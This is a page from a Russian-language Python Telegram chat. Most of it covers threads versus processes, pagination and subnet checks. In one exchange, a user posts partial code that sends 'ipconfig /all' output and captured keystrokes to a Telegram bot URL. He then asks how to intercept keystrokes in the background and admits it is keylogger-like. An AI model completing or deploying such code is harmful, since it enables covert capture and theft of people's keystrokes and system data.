@ru_python

Страница 8064 из 9768
фей
12.02.2019
10:24:04
df =df.replace('--', np.NaN)

Valien
12.02.2019
10:24:29
А если в конкретной колонке, передай словарь в реплейс ({столбец: '--'}, np.NaN)

Михаил
12.02.2019
10:34:11
какая разница между тредами и процессами? МОжет кто нить нормально объяснить? Гугль дает The threading module uses threads, the multiprocessing module uses processes. The difference is that threads run in the same memory space, while processes have separate memory. This makes it a bit harder to share objects between processes with multiprocessing. ... Spawning processes is a bit slower than spawning threads. Мне не понятно как выбрать между тем и тем для проекта?

Google
Roman
12.02.2019
10:34:27
знает кто какую-нибудь около полифил либу для питона, чтобы из 3.5 можно было использовать асинхронные фичи из 3.7 типа asyncio.run, asyncontextmanager, AsyncExitStack с хоть какой-нибудь поддержкой typing'ов? async_generator кое как позволяет некоторые вещи использовать, но с тайпингами проблема

Terminator
12.02.2019
10:34:37
@monkdok будет жить. Поприветствуем!

Константин
12.02.2019
10:37:26
@MechanisM когда деньги вернешь, за невыполненную работу?

Михаил
12.02.2019
10:38:17
Треды шарят одну память в ОЗУ, у процессов у каждого своя
у меня есть джанго и есть скрипт который запускается и тащит значения из БД, одноврменменно моежт работать 30 процессов и более. ОН выполняет дейсвтия и севит в БД. как тут правильнее поступить? Треды ил ипроцессы? и еще вопрос как правильно треды убивать?

Terminator
12.02.2019
10:41:35
Данил будет жить. Поприветствуем!

Alex
12.02.2019
10:47:15
Процессы спавнить дороже по времени, чем треды
в linux не особо дороже, разницей можно пренебречь.

Robot
12.02.2019
10:49:18
в linux не особо дороже, разницей можно пренебречь.
вообще не дороже, они одни и теже структуры в ядре используют

Google
Robot
12.02.2019
10:50:05
Процессы спавнить дороже по времени, чем треды
виндопроблемы. про передачу данных тоже, есть 9000 всяких ipc

Andrew
12.02.2019
10:50:12
Robot
12.02.2019
10:51:20
Это странно. В винде значительно дороже
юникс всегда работал на многопроцессорных машинах. даже при просто работе в шелл у тебя пораждается куча процессов каждой командой

Andrew
12.02.2019
10:52:21
юникс всегда работал на многопроцессорных машинах. даже при просто работе в шелл у тебя пораждается куча процессов каждой командой
я имею ввиду что порождение треда такая накладная операция в линуксе. Следует читать "Действительно ли это так"?

Михаил
12.02.2019
10:53:04
у меня линь стоит, но получается каждый воркер который я запускаю начинает жрать память 60м джанго для коннекта к БД + на самой базе процесс порождается который отвечает за этот коннект еще метров 100. Есть ли какой-то еще выход или надо как-то логику менять?

Robot
12.02.2019
10:53:34
я имею ввиду что порождение треда такая накладная операция в линуксе. Следует читать "Действительно ли это так"?
просто порождение процесса очень дешевая операция. тред от процесса мало чем отличается. при форке у тебя cow

Владимир
12.02.2019
10:55:59
к чему это?
Я же выделил к чему это.

Robot
12.02.2019
10:57:15
Я же выделил к чему это.
многопроцессорные машины, есть необходимость запускать много процессов и общатсья между ними, тредов еще не завезли, поэтому это оптимизированно очень давно.

ну и сама архитектура юникс, где много маленьких программ подразумевает что очень много форков происходит.

Terminator
12.02.2019
11:01:49
@LeekSer будет жить. Поприветствуем!

Alex
12.02.2019
11:05:29
вообще не дороже, они одни и теже структуры в ядре используют
не совсем. создание процесса приводит к копированию таблицы страниц (но не самих страниц)

создание треда и fork реализованы через один и тот же системный вызов clone(), с разницей в флагах.

Andrew
12.02.2019
11:09:40
проблемы индейцев...
Уровень дискуссии не тот. Не обсуждаются отличия pe от elf или особенности загрузки динамическх модулей.

Alexey
12.02.2019
11:16:45
Почему когда я выполняю функцию send() то она работает отлично, но когда после нее прописываю цикл while, она не выполняется, вернее выполняется, но без результатно def send(msg): url = 'https://api.telegram.org/botФФФФФ/sendMessage?chat_id=ффффф&text=' re.get(url+msg) return True if send( subprocess.check_output('ipconfig /all').decode('cp866') ): #отпрвляем данные о ПК while True: key = getch().decode('cp866') if key == ' ': send = send(''.join(word)) print(''.join(word)) word = [] elif key == '\r': send = send(''.join(word)) print(''.join(word)) word = [] else: word.append(key В if запихнул словие выполнения, и нифига, все равно

Terminator
12.02.2019
11:19:01
@RomanM7777 будет жить. Поприветствуем!

Denis
12.02.2019
11:20:08
Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?

Google
Danil
12.02.2019
11:21:30
Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?
пагинация == упорядочить? Первое что пришло в голову, хранить хеш даты создания, или что-то в этом роде

Denis
12.02.2019
11:21:46
И нужно, соответственно, уметь показывать страницу номер N

Denis
12.02.2019
11:28:19
Вообще там разные порядки могут выбираться, хочется сделать универсально

В DRF нашел такое, но там слишком много требований https://www.django-rest-framework.org/api-guide/pagination/#cursorpagination

SadANTONYAO
12.02.2019
11:32:39
есть люди которые работают с GitLab?

Alex
12.02.2019
11:34:01
По количеству лайков
можно что-то придумать вроде сортировки критерию + id и делать фильтр по последнему критерию на предыдущей странице. что-то типа: likes > 432 OR (likes == 432 AND ID > 10) ORDER BY (likes, id)

Tishka17
12.02.2019
11:35:50
Alex
12.02.2019
11:36:21
Roman
12.02.2019
11:36:38
зато не по оффсету

И
12.02.2019
11:36:46
Есть список подсетей. На вход нужно подавать случайный ип адрес и проверять, входит ли он в этот список подсетей. Может есть либа какая?

Google
И
12.02.2019
11:40:08
ipaddress?
посмотрю, благодарю

И
12.02.2019
11:43:55
And/or побитовые с маской подсети
это уже более интереснее)

Nikolay
12.02.2019
11:44:19
Но правильнее ipadress модуль использовать

Там внутри то же самое

И
12.02.2019
11:45:17
Но правильнее ipadress модуль использовать
что то в доке именно под мою задачу примера не нашел

Nikolay
12.02.2019
11:45:27
Не может быть

Alexey
12.02.2019
11:45:32
Парни, как можно в фоне перехватывать нажатия клавиш? Например чтоб я мог писать что-то в блокноте, а все транслировалось в ком.строку

Alex
12.02.2019
11:45:51
что то в доке именно под мою задачу примера не нашел
ты думаешь под все задачи будет готовый пример?

Whore Amazing
12.02.2019
11:45:55
кейлоггер пишешь?

И
12.02.2019
11:46:38
ты думаешь под все задачи будет готовый пример?
нет, наверника не будет. Просто по идеи задача тривиальная, подумал возможно есть

Alexey
12.02.2019
11:46:59
кейлоггер пишешь?
+ что-то типо этого

Whore Amazing
12.02.2019
11:47:29
Yury
12.02.2019
11:47:41
мидасик на пудже))0

Alexey
12.02.2019
11:47:49
Чисто expirience)

Whore Amazing
12.02.2019
11:47:59
мидасик на пудже))0
и момчик, вообще по красоте

Чисто expirience)
ага, заливай

Google
Alexey
12.02.2019
11:49:24
все равно же напишу

Alex
12.02.2019
11:51:23
что то в доке именно под мою задачу примера не нашел
плохо искал: https://docs.python.org/3/library/ipaddress.html#networks-as-containers-of-addresses

И
12.02.2019
11:54:10
плохо искал: https://docs.python.org/3/library/ipaddress.html#networks-as-containers-of-addresses
юлагодарю, видимо упустил. Как думаешь, если подобное IPv4Address('192.0.2.6') in IPv4Network('192.0.2.0/28') будет проверять в к примеру в 20ти подсетях, тоесть получается таких инструкций будет около 20, много времени будет тратиться? Тоесть не будет ли данная операция грузить сервер при большом трафике?

Nikolay
12.02.2019
11:55:10
Плохой подход

И
12.02.2019
11:55:42
Плохой подход
как то лучше сделать можно?

Alex
12.02.2019
11:55:58
Nikolay
12.02.2019
11:57:17
Подсети разные вообще или только маски разные?

Адреса сети

Страница 8064 из 9768